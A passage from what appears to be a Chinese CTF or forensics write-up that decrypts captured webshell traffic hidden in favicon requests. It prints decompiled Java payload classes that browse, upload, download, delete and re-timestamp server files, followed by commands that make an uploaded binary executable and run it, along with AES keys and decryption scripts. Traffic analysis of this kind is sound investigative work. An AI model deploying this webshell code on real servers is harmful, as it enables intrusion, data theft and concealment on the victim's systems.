result.put("msg", checkExist(path)); result.put("status", "success"); } else if (mode.equalsIgnoreCase("delete")) { result = delete(); } else if (mode.equalsIgnoreCase("create")) { result.put("msg", create()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("append")) { result.put("msg", append()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("update")) { updateFile(); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("downloadPart")) { result.put("msg", downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize))); result.put("status", "success"); } else { if (mode.equalsIgnoreCase("download")) { download(); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception e) { e.printStackTrace(); } return true; } if (mode.equalsIgnoreCase("rename")) { result = renameFile(); } else if (mode.equalsIgnoreCase("createFile")) { result.put("msg", createFile()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("compress")) { zipFile(path, true); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("createDirectory")) { result.put("msg", createDirectory()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("getTimeStamp")) { result.put("msg", getTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("updateTimeStamp")) { result.put("msg", updateTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("check")) { result.put("msg", checkFileHash(path)); result.put("status", "success"); } } try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e2) { e2.printStackTrace(); return true; } } catch (Throwable e3) { e3.printStackTrace(); result.put("msg", e3.getMessage()); result.put("status", "fail"); try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); return true; } catch (Exception e4) { e4.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so4 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write4 = so4.getClass().getMethod("write", byte[].class); write4.invoke(so4, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so4.getClass().getMethod("flush", new Class[0]).invoke(so4, new Object[0]); so4.getClass().getMethod("close", new Class[0]).invoke(so4, new Object[0]); } catch (Exception e5) { e5.printStackTrace(); } throw th; } } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } private void updateFile() throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path); if (ch == null) { FileOutputStream fos = new FileOutputStream(path); ch = fos.getChannel(); sessionSetAttribute(this.Session, "fos", fos); sessionSetAttribute(this.Session, path, ch); } synchronized (ch) { ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)); ch.write(ByteBuffer.wrap(base64decode(content))); } } private Map<String, String> warpFileObj(File file) { Map<String, String> obj = new HashMap<>(); obj.put("type", file.isDirectory() ? "directory" : "file"); obj.put("name", file.getName()); obj.put("size", file.length() + ""); obj.put("perm", getFilePerm(file)); obj.put("lastModified", new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(file.lastModified()))); return obj; } private boolean isOldJava() { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { return false; } return true; } private String checkExist(String path2) throws Exception { File file = new File(path2); if (file.exists()) { return file.length() + ""; } throw new Exception(""); } private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException { String permStr = ""; if (isWindows()) { try { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } catch (Error e) { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-"; } } else { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { try { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); getClass(); Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions"); Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]); Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions", new Class[0]).invoke(attrs, new Object[0])); permStr = result.toString(); } catch (Exception e2) { } } else { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } } return permStr; } private String list() throws Exception { File f = new File(path); List<Map<String, String>> objArr = new ArrayList<>(); objArr.add(warpFileObj(new File("."))); objArr.add(warpFileObj(new File(".."))); if (f.isDirectory() && f.listFiles() != null) { for (File temp : f.listFiles()) { objArr.add(warpFileObj(temp)); } } String result = buildJsonArray(objArr, true); return result; } private String show() throws Exception { byte[] fileContent = getFileData(path); return base64encode(fileContent); } private byte[] getFileData(String path2) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); FileInputStream fis = new FileInputStream(new File(path2)); while (true) { int data = fis.read(); if (data != -1) { output.write(data); } else { fis.close(); return output.toByteArray(); } } } private String create() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "上传完成，远程文件大小:" + new File(path).length(); return result; } private Map<String, String> renameFile() throws Exception { Map<String, String> result = new HashMap<>(); File oldFile = new File(path); File newFile = new File(newPath); if (oldFile.exists() && (oldFile.isFile() & oldFile.renameTo(newFile))) { result.put("status", "success"); result.put("msg", "重命名完成:" + newPath); } else { result.put("status", "fail"); result.put("msg", "重命名失败:" + newPath); } return result; } private String createFile() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.close(); String result = path + "创建完成"; return result; } private String createDirectory() throws Exception { File dir = new File(path); dir.mkdirs(); String result = path + "创建完成"; return result; } private void download() throws Exception { FileInputStream fis = new FileInputStream(path); Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); while (true) { int data = fis.read(); if (data != -1) { write.invoke(so, Integer.valueOf(data)); } else { so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); fis.close(); return; } } } private String append() throws Exception { FileOutputStream fso = new FileOutputStream(path, true); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "追加完成，远程文件大小:" + new File(path).length(); return result; } private Map<String, String> delete() throws Exception { Map<String, String> result = new HashMap<>(); File f = new File(path); if (f.exists()) { if (f.delete()) { result.put("status", "success"); result.put("msg", path + " 删除成功."); } else { result.put("status", "fail"); result.put("msg", "文件" + path + "存在，但是删除失败."); } } else { result.put("status", "fail"); result.put("msg", "文件不存在."); } return result; } private String getTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); Map<String, String> timeStampObj = new HashMap<>(); if (f.exists()) { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Object createTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("creationTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastAccessTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastAccessTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastModifiedTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastModifiedTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue())); String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue())); String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue())); timeStampObj.put("createTime", createTimeStamp2); timeStampObj.put("lastAccessTime", lastAccessTimeStamp); timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp); String result = buildJson(timeStampObj, true); return result; } throw new Exception("文件不存在"); } private boolean isWindows() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { return true; } return false; } private String updateTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); if (f.exists()) { f.setLastModified(df.parse(modifyTimeStamp).getTime()); if (!isOldJava()) { Class PathsCls = Class.forName("java.nio.file.Paths"); Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class); Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]); Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime())); Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime())); Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime())); BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime); } return "时间戳修改成功。"; } throw new Exception("文件不存在"); } private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception { int size; FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch == null) { FileInputStream fis = new FileInputStream(path2); ch = fis.getChannel(); sessionSetAttribute(this.Session, "fis", fis); sessionSetAttribute(this.Session, path2, ch); } ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2); synchronized (ch) { ch.position(blockIndex2 * blockSize2); size = ch.read(buffer); } byte[] content2 = new byte[size]; System.arraycopy(buffer.array(), 0, content2, 0, size); return base64encode(content2); } private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception { File file = new File(srcDir); String fileName = file.getName(); FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip"); System.currentTimeMillis(); ZipOutputStream zos = null; try { try { zos = new ZipOutputStream(out); File sourceFile = new File(srcDir); compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure); System.currentTimeMillis(); if (zos != null) { try { zos.close(); } catch (IOException e) { e.printStackTrace(); } } } catch (Exception e2) { throw new RuntimeException("zip error from ZipUtils", e2); } } catch (Throwable th) { if (zos != null) { try { zos.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception { byte[] buf = new byte[102400]; if (sourceFile.isFile()) { zos.putNextEntry(new ZipEntry(name)); FileInputStream in = new FileInputStream(sourceFile); while (true) { int len = in.read(buf); if (len != -1) { zos.write(buf, 0, len); } else { zos.closeEntry(); in.close(); return; } } } else { File[] listFiles = sourceFile.listFiles(); if (listFiles == null || listFiles.length == 0) { if (KeepDirStructure) { zos.putNextEntry(new ZipEntry(name + "/")); zos.closeEntry(); return; } return; } for (File file : listFiles) { if (KeepDirStructure) { compress(file, zos, name + "/" + file.getName(), KeepDirStructure); } else { compress(file, zos, file.getName(), KeepDirStructure); } } } } ... } {/collapse-item} {/collapse} 发现是获取了/的文件列表，返回值也印证了这一点。后续的几个包分别获取了： /tmp/ /var/ /var/tmp/ 的列表。 再之后发现： package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } 调用了写入文件的功能，往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico，发现有737个文件，编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息： import os import re import base64 from Crypto.Cipher import AES KEY = b"1f2c8075acd3d118" DIR = "export" def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" chunks = [] def get_sort_key(fname): match = re.search(r'\((\d+)\)', fname) return int(match.group(1)) if match else 0 files = sorted(os.listdir(DIR), key=get_sort_key) for fname in files: path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() data = decrypt_to_class(body) if data.startswith(b"\xca\xfe\xba\xbe"): with open(f"payload-{fname}.class", "wb") as file: file.write(data) print(f"Dump {fname} as java class file") else: with open(f"payload-{fname}.txt", "wb") as file: file.write(data) print(f"Dump {fname} as txt file") 一路看过去，发现中间都是在上传，最后检查了一遍Hash： package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } 并且给予执行权限： package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } 然后执行： package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } 得到了一个aes-key：IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=，之后就没有任何HTTP通信了。 第三层: 手写Shell 上面的HTTP流之后有一个TCP流通信，Dump出来发现： 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 因为其长度不固定，推测不是ECB和CBC，尝试使用常见的CTR和CFB： import base64 import binascii from Crypto.Cipher import AES from Crypto.Util import Counter key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) chunks = [] i = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] chunks.append(chunk) i += length iv=b'\x00' * 16 print(f"iv:0*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=b'\xff' * 16 print(f"iv:ff*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=key[:16] print(f"iv:key[:16]s") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") 发现没有可读数据： {collapse} {collapse-item label="代码部分 - 点击展开"} iv:0*16 ctr: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4"w9[j\xb8}\xe0\xf9' 1: len36: b'K%\xd7+\xc2K\\A\xf3\x9b\xff&\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{' 2: len30: b'\x04\x8a\xbc\x83<\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4' 3: len31: b'\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85"\xbb\x84H\x0cHz\xd2' 4: len48: b'\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg' 5: len43: b'\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe' 6: len110: b'~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;' 7: len105: b'\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e"#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT' 8: len36: b'U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W<\xee\xa9~\xf3\x0b\xfb\xdc\x02' 9: len31: b"|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&\x8b(\x1f=y\xc869'\xd0b\x9d" cfb: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:ff*16 ctr: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r<\xae)\xb3\xdf' 1: len36: b'O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht' 2: len30: b'Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb' 3: len31: b'\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17' 4: len48: b'O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu' 5: len43: b'\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e' 6: len110: b'JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr' 7: len105: b'm<n2_\xb02\xa8a\x87\x8b\x8b\xf8b<\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae' 8: len36: b'\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c>\xd2\x1b\xb3W' 9: len31: 